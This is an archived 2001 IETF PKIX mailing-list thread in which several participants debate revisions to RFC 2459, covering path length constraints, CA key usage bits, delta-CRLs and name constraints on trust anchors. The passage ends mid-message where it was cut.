Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD846LG3; Mon, 5 Mar 2001 13:42:06 -0800
Message-ID: <[e-mail]>
Date: Mon, 05 Mar 2001 16:30:10 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David P. Kemp" <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dave,

Responding to your question:

> If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
> isn't the subject of the certificate "a conforming CA"?

No, it is an end entity.
--
David Simonetti
Securify (www.securify.com), 410-356-2260




Received: from pae-main.securify.com (vg-2.securify.com [207.5.63.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA23214 for <[e-mail]>; Mon, 5 Mar 2001 13:31:27 -0800 (PST)
Received: from securify.com (dude.securify.com [10.5.63.6]) by pae-main.securify.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id GD846L10; Mon, 5 Mar 2001 13:30:59 -0800
Message-ID: <[e-mail]>
Date: Mon, 05 Mar 2001 16:19:03 -0500
From: David Simonetti <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "David A. Cooper" <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]> <[e-mail]>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
David,
<p>Ahh, thank you for the detailed response...and I think I see where our
differences arise.
<p>Referring back to the description that Tim gave us,
<p>"If that subject of the last certificate is not a CA, the path is clearly
acceptable.&nbsp; But what if the subject is a CA? Should the relying party
reject the path because the key is in a CA certificate *or* accept the
path because the subject is not being treated as a CA?"
<p>There is a more fundamental issue here.&nbsp; It appears that you are
proposing a certificate with a Key Usage extension, but without keyCertSign=1.&nbsp;
Is this a valid CA certificate?&nbsp; I assert that it is not.
<p>From the PKIX profile for basicConstraints:
<p>"This extension MUST appear as a critical extension in all CA certificates."
<p>Since the PKIX profile is silent on this next point, from the Minimum
Interoperability Specification for PKI Components (MISPC):
<p>"CA certificates shall contain a basicConstraints extension with the
cA component set to TRUE."
<p>Then, reusing you're own quote,
<p>"If the cA bit is asserted, then the keyCertSign bit in the key usage
extension MUST also be asserted."
<p>Summarizing, if we're referring to a CA certificate, then:
<p>1. It must include a basicConstraints extension;
<br>2. cA=TRUE (if not set to TRUE, then I assert that the subject is an
end entity regardless of the subject DN);
<br>3. It must include a basicConstraints extension
<br>4. keyCertSign=1
<p>Thus, all CA certificates will always have keyCertSign=1.&nbsp; Otherwise,
it is not a CA certificate, regardless of the subject DN.
<p>Furthermore, from the basicConstraints profile,
<p>"[pathLenConstraint] gives the maximum number of CA certificates that
may follow this certificate in a certification path."
<p>Thus, if pathLenConstraint=0, then no certificates with cA=TRUE may
follow; if pathLenConstrain=1, then at most one certificate with cA=TRUE
may follow, and so on.
<p>Then, I agree with Tim's proposal:
<p>"If the working group disagrees with this interpretation, the changes
to
<br>Part 1 are straightforward.&nbsp; First, modify the parenthetical in
4.2.1.10 to
<br>indicate that the end certificate in the path is considered a CA
<br>certificate if the basic constraints extension indicates
<br>cA=TRUE.&nbsp; Secondly, add one new step (h) to 6.1.5 and reject the
<br>certification path if (h) fails."
<p>I agree with these statements because, by definition, any entity which
is a CA can issue certificates.&nbsp; I also suggest adding the statement
as quoted above from the MISPC to Section 4.2.1.10.&nbsp; Otherwise you
end up with the scenario that started this whole discussion.
<p>Per the Microsoft implementation, have you confirmed that the path length
constraint variable is actually being processed?
<p>Dave S.
<p>"David A. Cooper" wrote:
<blockquote TYPE=CITE>&nbsp;At 03:44 PM 3/2/01 -0500, David Simonetti wrote:
<blockquote type=cite cite>David,
<p>You write, "With the other semantics, the certificate issued to the
CRL-issuer could include basicConstraints with cA=TRUE without causing
any problems."
<p>I think, more specifically, the certificate issued to the CRL-issuer
includes a basicConstraints ext with cA=True and pathLenContraint=0, and
a keyUsage extension with cRLSign=1.</blockquote>

<p><br>David,
<p>Consider the following scenarios:
<p>scenario 1:
<p><tt>CA1 ----------------------------> CA2 ---------------------------------->
CA3</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp; basicConstraints:<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>keyUsage:</tt>
<br><x-tab></x-tab><x-tab></x-tab><tt>cA=TRUE<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>cRLSign</tt>
<br><x-tab></x-tab><x-tab></x-tab><tt>pathLenConstraint=0</tt><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>
<br><x-tab></x-tab><tt>keyUsage:<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab></tt><font face="Courier New, Courier">CRLDistributionPoints:</font>
<br><x-tab></x-tab><x-tab></x-tab><tt>keyCertSign, cRLSign<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab></tt><font face="Courier New, Courier">cRLIssuer:
CA3</font>
<p>scenario 2:
<p><tt>CA1 ----------------------------> CA2 ---------------------------------->
CA3</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp; basicConstraints:<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>basicConstraints:</tt>
<br><x-tab></x-tab><x-tab></x-tab><tt>cA=TRUE<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>cA=TRUE</tt>
<br><x-tab></x-tab><x-tab></x-tab><tt>pathLenConstraint=0</tt><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>
<br><x-tab></x-tab><tt>keyUsage:<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>keyUsage:</tt>
<br><x-tab></x-tab><x-tab></x-tab><tt>keyCertSign, cRLSign<x-tab></x-tab><x-tab></x-tab><x-tab></x-tab>keyCertSign,
cRLSign</tt>
<p><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><font face="Courier New, Courier">CRLDistributionPoints:</font>
<br><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><x-tab></x-tab><font face="Courier New, Courier">cRLIssuer:
CA3</font>
<p>In both scenarios, CA1 wishes to allow its relying parties to validate
certificates issued by CA2. Also, in both scenarios, CA2 does not issue
its own CRLs, but instead relies CA3 to issue CRLs on its behalf. The only
difference is that in scenario 1 the certificate issued by CA2 to CA3 only
"authorizes" CA3 to sign CRLs, whereas in scenario 2 the certificate issued
by CA 2 to CA3 "authorizes" CA3 to sign both certificates and CRLs (perhaps
CA2 wishes to allow its own relying parties to accept certificates issued
by CA3).
<p>In scenario 1, since CA2 is not "authorizing" CA3 to sign certificates,
it does not include the basicConstraints extension in the certificate it
issues to CA3. In scenario 2, basicConstraints is included as required
since the intention is to "authorize" CA3 to sign certificates.
<p>No matter how pathLenConstraint is defined, CA1's relying parties will
be able to validate CRLs issued by CA3 in scenario 1. With scenario 2,
however, with one definition relying parties will be able to validate the
CRLs, but with the other they will not due to the presence of basicConstraints
in the certificate issued by CA2 to CA3.
<p>Note that what you suggest ("the certificate issued to the CRL-issuer
includes a basicConstraints ext with cA=True and pathLenContraint=0, and
a keyUsage extension with cRLSign=1") would not work. Using the definition
of pathLenConstraint that you support, such a certificate would be rejected
as a "CA-certificate" since it contains basicConstraints with cA=TRUE.
This is also contradictory to the PKIX profile:
<p><x-tab></x-tab><x-tab></x-tab>The cA bit indicates if the certified
public key may be used to
<br><x-tab></x-tab><x-tab></x-tab>verify signatures on other certificates.
If the cA bit is asserted,
<br><x-tab></x-tab><x-tab></x-tab>then the keyCertSign bit in the key usage
extension
<br><x-tab></x-tab><x-tab></x-tab>MUST also be asserted. If the cA bit
is not asserted, then the
<br><x-tab></x-tab><x-tab></x-tab>keyCertSign bit in the key usage extension
MUST NOT be asserted.
<br>&nbsp;
<blockquote type=cite cite>With the new semantics, if the keyUsage extension
is absent, is it then possible for the CRL-issuer, assuming it is a CA,
to also sign certificates?</blockquote>

<p><br>Two points:
<p>1) As noted in the quote above, if one does not wish to allow a certificate
subject's public key to be used to verify certificates, then one should
not include basicConstraints with cA=TRUE. If it is included then the issuing
CA intended to allow the subject to sign certificates. On the other hand,
it we are dealing with a scenario such as scenario 2 above, then it would
always be the case that CA1's relying parties would not accept certificates
signed by CA3 (even if they accept CRLs signed by CA3). If CA1's relying
parties tried to accept a certificate signed by CA3 then they would do
so by attempting to validate a path of the form CA1--->CA2--->CA3--->EE
and this path would fail as a result of the path length constraint.
<p>2) As I stated in my previous message, nobody is proposing new semantics.
We are merely trying to deal with the results of previously ambiguous text.
The semantics that I have been advocating have already in implemented in
products. For example, I used the NIST X.509 certification path test suite
to test the path validation code in Outlook Express on a Windows 98SE machine,
and for the path length tests, the results of validation were the same
whether the last certificate in the path included basicConstraints with
cA=TRUE or not. So it seems that Microsoft's path validation code currently
implements the semantics that I have been advocating. In addition, if you
look at DR 272, which is designed to clarify the meaning of path length
constraints in X.509, the text seems to suggest that it has always been
the ISO Directory group's intention that pathLenConstraint be interpreted
in this way.
<br>&nbsp;
<p>So, if we decide that pathLenConstraints should be calculated differently
when the last certificate in the path includes basicConstraints with cA=TRUE,
then we will be "breaking" real, deployed implementations. We would also
need to work to see that DR 272 is changed so that X.509 is consistent.
It may be the case that there are also deployed implementations that compute
pathLenConstraints differently when the end certificate included basicConstraints
with cA=TRUE that would be "broken" if we agree to go the other way. But
even if this is the case, we should not reject the idea of computing pathLenConstraint
the same way for all paths of equal length based on the argument that this
would be defining "new semantics". If there had been agreement in past
on what the "old semantics" were, then we wouldn't even be talking about
path length constraints now.
<p>Dave
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;</blockquote>
--
<br>David Simonetti
<br>Securify (www.securify.com), 410-356-2260
<br>&nbsp;</html>



Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA22565 for <[e-mail]>; Mon, 5 Mar 2001 13:24:58 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.2831); Mon, 5 Mar 2001 13:23:55 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 05 Mar 2001 13:23:59 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Mon, 5 Mar 2001 13:23:59 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4658.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Subject: RE: WG Last Call: Son-of-2459
Date: Mon, 5 Mar 2001 13:23:49 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: WG Last Call: Son-of-2459
Thread-Index: AcCjYgtaXHOCKnhKRN2PYR+nOYZ+AACV3g5w
From: "Trevor Freeman" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>, "Steve Hanna" <[e-mail]>
X-OriginalArrivalTime: 05 Mar 2001 21:23:59.0524 (UTC) FILETIME=[97C67640:01C0A5BA]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id NAA22566

Steve,
I think your original idea is the right one. I am sure that products
will appear which will support the features contained in son of RFC2459,
so I think it premature to introduce another mechanism. I also agree
with your premise that there will be a drive for the use of CAs who's
job is the issuance of cross certificates to other CAs with a view to
managing the trust relationships for a set of resources, and may never
in their lifetime issue a certificate to a end user. I have seen this as
an increasing trend with deployment planning due to the realisation of
the complexity of the trust relationships required by organisations.
Trevor

-----Original Message-----
From: Stephen Kent [mailto:[e-mail]]
Sent: Friday, March 02, 2001 1:39 PM
To: Steve Hanna
Cc: [e-mail]
Subject: Re: WG Last Call: Son-of-2459


Steve,

I agree with most of the comments you have made re revisions to 2459, 
but I do disagree with the discussion if name constraints and its use 
in the validation algorithm.  I think that name constraints are 
critically important in PKIs that make extensive use of cross 
certification. Yet, as you note, they are no commonly used so far. I 
think that making provision to associate name constraints with trust 
anchors is a good way to let users (or administrators) locally manage 
the concerns that this extension addresses, without having to 
persuade CAs to issue cross certs with such constraints.  In fact, I 
was persuaded to drop my proposal for local issuance of such cross 
certs because of the inclusion of this facility as a control measure 
on the validation process.

This will become more than a local implementation issue, as we 
continue with the DPV/DPD work.  My current draft of the message 
syntax for requests calls for inclusion of name constraints as a 
validation control parameter, a protocol feature motivated by the 
notion that name constraints would become a standard part of the 
validation algorithm.

Steve


Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA21330 for <[e-mail]>; Mon, 5 Mar 2001 13:08:40 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.2831); Mon, 5 Mar 2001 13:06:44 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 05 Mar 2001 13:06:48 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Mon, 5 Mar 2001 13:06:48 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4658.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Subject: RE: WG Last Call: Son-of-2459: More about delta-CRLs
Date: Mon, 5 Mar 2001 13:06:38 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: WG Last Call: Son-of-2459: More about delta-CRLs
Thread-Index: AcClqoaVsMyCR8xzRuG32LvB8Le76AAC1tZg
From: "Trevor Freeman" <[e-mail]>
To: "Denis Pinkas" <[e-mail]>
Cc: "IETF-PXIX" <[e-mail]>
X-OriginalArrivalTime: 05 Mar 2001 21:06:48.0494 (UTC) FILETIME=[313BC4E0:01C0A5B8]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id NAA21331

Hi Dennis,

We already discussed on the mailing list the sentence contained in
section
5.2.4  Delta CRL Indicator:

" When a conforming CA issues a delta CRL, the CA MUST also issue a CRL
that
is complete for the given scope."

However I noticed that in the new text, MUST has not been changed into
SHOULD. There has been no definitive answer but many people were arguing
for
the SHOULD.

TF> I agree, we don't have a clause requiring the publication of a full
base when using OCSP. Non-delta aware client are not impacted since they
don't know about delta publication. It is therefore impossible to
achieve all clients having the same revocation information.

Indeed, this text always allows relying parties not supporting
delta-CRLs to
have access to the same freshness of the information. I would still
think
that this should be a recommendation and not be a mandatory requirement.

However, we did not discussed that much the implications of another
sentence: "A CRL user constructing a locally held CRL from delta-CRLs
...."
Notice the "s" at the end of delta-CRLs. 

TF> There are two cases to consider here. Where the freshest CRL
indicator is in the certificate or the CRL. In the former case, it may
be necessary to merge multiple delta CRLs since there is no guarantee of
a 1-2-1 relationship between base and delta. You could have delta CRLs
partitioned by reason coded, and a base CRL for all reasons. In the
later case where the freshet CRL indicator in in the CRL, there is an
implicit 1-2-1 relationship between base and delta. A delta aware client
in this case only has to search for the latest delta CRL. Each delta has
a this update time, so a client can establish which is the latest.
Merging the latest delta CRL with the appropriate base provided the
answer.

How is it possible to issue more than one delta-CRL referring to a given
basic CRL and know that it is the freshest ? The text does not say
anything.
Some guidance should be given. Is the following an adequate rough
explanation 

TF> given the range of possibilities introduced by having freshest CRL
in either the certificate or CRL, I would prefer some recommendations on
what should be done. Having no guidance opens up a large number of
permutations, and we want to progress this to draft standard, we need to
refine our scope to what is reasonable, not what is possible.

Every delta-CRL SHOULD indicate the next issuing date of the next
delta-CRL
[we have this feature]. If the next issuing date is missing, then it
means
that no further delta-CRL will be issued and that a new base CRL is now
also
available. The delta-CRL obtained is the freshest, when the date for
checking is between the issuing date and the next issuing date of that
delta-CRL. 

Ideally, but not necessarily, the base CRL SHOULD include an indicator
saying that a delta mechanism is supported [we do not have that
indicator].

TF> Having a freshest CRL extension in a CRL provides such an indicator.

Denis

Trevor


Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA21197 for <[e-mail]>; Mon, 5 Mar 2001 13:07:12 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id QAA05399 for <[e-mail]>; Mon, 5 Mar 2001 16:06:38 -0500 (EST)
Message-Id: <[e-mail]>
Date: Mon, 5 Mar 2001 16:06:22 -0500 (EST)
From: "David P. Kemp" <[e-mail]>
Reply-To: "David P. Kemp" <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: mcusqIpGkd/UPXaokoQTBw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc

Steve,

I think of a "CA" as some people in a room with a Safekeeper.
If a CA wants to run its certificate signing functions on a machine
with no network connections, and it's CRL signing functions on a
network-connected machine, wouldn't that CA issue a certificate
to its CRL-signing key signed by its certificate-signing key?

If that certificate has cA=false, and keyCertSign=0 and cRLSign=1,
isn't the subject of the certificate "a conforming CA"?

When X.509 says "keyCertSign: for verifying a CA's signature on
certificates", doesn't "a CA" refer to the people with the signing
machine, not a public key in a certificate with cA=true?  

Regards,
Dave



From: Stephen Kent <[e-mail]>
> 
> The text avoids referring to a CA as the indirect CRL issuer at first,
> but then refers to conforming CAs in the last paragraph. If something
> other than a CA issues an indirect CRL, or any kind of CRL, then the
> wording used throughout 2459 seems to not apply to such an entity,
> because we almost always seem to come back to phrases like "if used by a
> fonforming CA ..." The best rationale I've usually heard for indirect
> CRLs has been for one CA to issue a CRL for another, e.g., if the latter
> CA looses the ability to issue CRLs to to destruction of its private
> key.
> 
> Steve



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA15168 for <[e-mail]>; Mon, 5 Mar 2001 11:06:20 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id OAA09252 for <[e-mail]>; Mon, 5 Mar 2001 14:06:20 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Mon, 05 Mar 2001 14:06:09 -0500
To: IETF-PXIX <[e-mail]>
From: "David A. Cooper" <[e-mail]>
Subject: Re: WG Last Call: Son-of-2459: More about delta-CRLs
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 06:12 PM 3/5/01 +0100, Denis Pinkas wrote:
>However, we did not discussed that much the implications of another
>sentence: "A CRL user constructing a locally held CRL from delta-CRLs ...."
>Notice the "s" at the end of delta-CRLs. 

I think the above sentence is correct. Imagine, for example, that a user has in his local cache CRL number 3. He downloads a delta-CRL with cRLNumber 7 and BaseCRLNumber 5. Perhaps the simplest solution at this point would be for the user to download a new full CRL with a cRLNumber of 5 or greater. However, the user could instead attempt to get a second delta-CRL that has a cRLNumber of 5 or greater and a BaseCRLNumber or 3 or less. The user would then apply the two delta-CRLs in sequence to the locally held CRL number 3 in order to locally construct the contents of CRL number 7.

>How is it possible to issue more than one delta-CRL referring to a given
>basic CRL and know that it is the freshest ? The text does not say anything.
>Some guidance should be given. Is the following an adequate rough
>explanation ?

How is this any different from full CRLs? One can always compare two CRLs using the cRLNumber and/or thisUpdate time to determine which is fresher, but even if CRLs include a nextUpdate time, there is no way to know for sure that no "emergency" CRLs have been issued.

>Every delta-CRL SHOULD indicate the next issuing date of the next delta-CRL
>[we have this feature]. If the next issuing date is missing, then it means
>that no further delta-CRL will be issued and that a new base CRL is now also
>available. The delta-CRL obtained is the freshest, when the date for
>checking is between the issuing date and the next issuing date of that
>delta-CRL. 

The profile already requires every CRL to include the nextUpdate field and states that "[t]he behavior of clients processing CRLs which omit nextUpdate is not specified by this profile". I see no reason to treat delta-CRLs differently from other types of CRLs in this respect and so I think it would be a bad idea to attach some special meaning to delta-CRLs that have no nextUpdate field.

Similarly, the profile states that the nextUpdate field "indicates the date by which the next CRL will be issued. The next CRL could be issued before the indicated date, but it will not be issued any later than the indicated date." There is no reason to apply different semantics to the nextUpdate field in delta-CRLs vs. non-deltas.

>Ideally, but not necessarily, the base CRL SHOULD include an indicator
>saying that a delta mechanism is supported [we do not have that indicator].

We already have the FreshestCRL certificate extension which "identifies how delta-CRL information is obtained". Is there some compelling reason to have a CRL extension as well?

Dave




Received: from marcy.adiron.com ([128.230.111.5]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA11414 for <[e-mail]>; Mon, 5 Mar 2001 09:52:35 -0800 (PST)
Received: from localhost (polar@localhost) by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id MAA18194; Mon, 5 Mar 2001 12:46:38 -0500
X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs
Date: Mon, 5 Mar 2001 12:46:38 -0500 (EST)
From: Polar Humenn <[e-mail]>
To: Steve Hanna <[e-mail]>
cc: Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: WG Last Call: Son-of-2459
In-Reply-To: <[e-mail]>
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Below Steve Hanna writes about associating name constraints with "trust
anchors" as a bad idea, and that it should be done the "proper" way by
having your departmental CA producing cross certs. Wouldn't that require
every ordinary internet user with a browser to set up their own CA?

My next question is "what is a trust anchor?"

I thought we were talking about "validation". "Trust" is a COMPLETELY
different matter. I know it's pedantic, but should such a thing be called
a validation anchor, or validity anchor. I don't associate certificate
validation with trust. I validate first, then make a trust decision.

Many browsers come fully stocked with CA certs, which is a good thing,
because there is no general way to locate one if you needed to. My trust
policy is much different than my validation policy. Removing CA certs from
the "validators" may be a way to provide a trust decision, but it should
be construed to be the only way.

Cheers,
-Polar

On Fri, 2 Mar 2001, Steve Hanna wrote:

> Steve,
> 
> I certainly agree with you that name constraints (along with policy
> constraints) are critically important in PKIs that make extensive use of
> cross certification. The U.S. Government's Federal Bridge CA (currently
> in a pilot stage) includes name constraints in cross certificates that
> it issues and I expect that CAs will do this more frequently as cross
> certification increases.
> 
> However, I don't agree that it's important to let end-users associate
> name constraints with trust anchors. Few end-users even understand what
> a trust anchor is. The number of end-users that could properly assign
> name constraints to each trust anchor is much smaller, still. When I
> talk with browser vendors, they say that PKI must become simpler, not
> harder!
> 
> A better and more practical way to achieve the same end is for the
> end-user to have a single trust anchor (the corporate or departmental
> CA) and have that CA issue cross-certificates with name constraints.
> This allows the administrator to manage all the name constraints (as
> well as policy mappings and other policy constraints, which may be
> necessary in a cross-certification environment).
> 
> If the user is really paranoid, they can set up their own CA and use
> that as their trust anchor. Anyone sophisticated enough to configure
> name constraints is sophisticated enough to run their own CA. And there
> are plenty of free CA software packages out there that are perfectly
> adequate for issuing a few cross-certificates with name constraints.
> 
> I certainly don't mind if son-of-2459 says implementations MAY support
> name constraints on trust anchors. I just don't want to have it as a
> SHOULD or a MUST.
> 
> -Steve
> 
> Stephen Kent wrote:
> > 
> > Steve,
> > 
> > I agree with most of the comments you have made re revisions to 2459,
> > but I do disagree with the discussion if name constraints and its use
> > in the validation algorithm.  I think that name constraints are
> > critically important in PKIs that make extensive use of cross
> > certification. Yet, as you note, they are no commonly used so far. I
> > think that making provision to associate name constraints with trust
> > anchors is a good way to let users (or administrators) locally manage
> > the concerns that this extension addresses, without having to
> > persuade CAs to issue cross certs with such constraints.  In fact, I
> > was persuaded to drop my proposal for local issuance of such cross
> > certs because of the inclusion of this facility as a control measure
> > on the validation process.
> > 
> > This will become more than a local implementation issue, as we
> > continue with the DPV/DPD work.  My current draft of the message
> > syntax for requests calls for inclusion of name constraints as a
> > validation control parameter, a protocol feature motivated by the
> > notion that name constraints would become a standard part of the
> > validation algorithm.
> > 
> > Steve
> 

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[e-mail]       2-212 CST      
Phone: [phone]           Syracuse, NY 13244-4100
Fax:   [phone]           http://www.adiron.com



Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA09299 for <[e-mail]>; Mon, 5 Mar 2001 09:12:46 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id SAA23352 for <[e-mail]>; Mon, 5 Mar 2001 18:20:41 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id SAA18648 for <[e-mail]>; Mon, 5 Mar 2001 18:12:15 +0100
Message-ID: <[e-mail]>
Date: Mon, 05 Mar 2001 18:12:09 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: IETF-PXIX <[e-mail]>
Subject: WG Last Call: Son-of-2459: More about delta-CRLs
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

We already discussed on the mailing list the sentence contained in section
5.2.4  Delta CRL Indicator:

" When a conforming CA issues a delta CRL, the CA MUST also issue a CRL that
is complete for the given scope."

However I noticed that in the new text, MUST has not been changed into
SHOULD. There has been no definitive answer but many people were arguing for
the SHOULD.

Indeed, this text always allows relying parties not supporting delta-CRLs to
have access to the same freshness of the information. I would still think
that this should be a recommendation and not be a mandatory requirement.

However, we did not discussed that much the implications of another
sentence: "A CRL user constructing a locally held CRL from delta-CRLs ...."
Notice the "s" at the end of delta-CRLs. 

How is it possible to issue more than one delta-CRL referring to a given
basic CRL and know that it is the freshest ? The text does not say anything.
Some guidance should be given. Is the following an adequate rough
explanation ?

Every delta-CRL SHOULD indicate the next issuing date of the next delta-CRL
[we have this feature]. If the next issuing date is missing, then it means
that no further delta-CRL will be issued and that a new base CRL is now also
available. The delta-CRL obtained is the freshest, when the date for
checking is between the issuing date and the next issuing date of that
delta-CRL. 

Ideally, but not necessarily, the base CRL SHOULD include an indicator
saying that a delta mechanism is supported [we do not have that indicator].

Denis


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA08717 for <[e-mail]>; Mon, 5 Mar 2001 09:05:11 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id SAA24896; Mon, 5 Mar 2001 18:13:03 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id SAA05474; Mon, 5 Mar 2001 18:04:37 +0100
Message-ID: <[e-mail]>
Date: Mon, 05 Mar 2001 18:04:31 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: "David A. Cooper" <[e-mail]>, Steve Hanna <[e-mail]>
CC: [e-mail]
Subject: Re: WG Last Call: Son-of-2459
References: <[e-mail]> <[e-mail]> <[e-mail]> <p05010410b6c5c23a028b@[128.33.4.39]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve (Hanna),

 ... using a response from David A. Cooper.

I think that we can all agree with the following (posted by David A.
Cooper):

>>I certainly don't mind if son-of-2459 says implementations MAY support
>>name constraints on trust anchors. I just don't want to have it as a
>>SHOULD or a MUST.
 
[David A. Coooper]

I would certainly agree with this. I like the idea of adding initial name
constraints values as input to the path validation algorithm, since
otherwise they would be the only state variables whose initial values can
not be set by the relying party. However, this should in no way be a SHOULD
or a MUST.
 
Section 6.1.1 specifies several inputs to the path validation algorithm and
then describes the results of path validation as a function of these inputs.
I don't think there is anything in section 6 that states that all of these
inputs must be user configurable. If the text does suggest otherwise, then
it should be changed.
 
For example, one of the inputs is "the time, T, for which the validity of
the path should be determined." I think it would be perfectly valid for an
implementation not accept this input, but instead to always determine the
validity of the path at the current time. Similarly, an implementation could
choose to "hard-code in" the values for initial-policy-mapping-inhibit,
initial-explicit-policy, and initial-any-policy-inhibit. So, even if
son-of-2459 adds the adds initial name constraints as an input, there would
be no requirement for implementations to allow for inputs other than "all
permitted, none excluded". Changing section 6.1.1 would only provide a new
option, not impose a new requirement.

[Denis]

In your first reply, you said:" Including name constraints in a self-issued
certificate is pretty unusual (and not likely to be very effective). "

I fully agree with you. Name constraints, when used, should be defined
outside the self-signed certificate. 

Then you add: " In general, I suggest finding a trusted CA (or a small
